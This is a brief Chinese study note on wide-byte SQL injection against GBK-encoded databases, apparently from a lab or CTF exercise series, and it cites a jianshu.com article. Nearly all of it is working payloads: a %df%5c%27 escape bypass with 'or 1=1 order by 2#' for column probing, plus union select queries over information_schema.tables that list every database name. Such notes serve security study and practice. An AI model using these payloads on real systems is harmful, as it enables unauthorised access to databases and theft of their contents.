13 宽字节注入1

资料：https://www.jianshu.com/p/4fe931da9550

适用于gbk编码的数据库

allen%df%5c%27 or 1=1 order by 2#

获取所有的数据库名，由于长度限制，使用limit 限制个数

allen%df%5c%27 union select group_concat(distinct table_schema),2 from

information_schema.tables limit 0,1#

allen%df%5c%27 union select group_concat(distinct table_schema),2 from

information_schema.tables#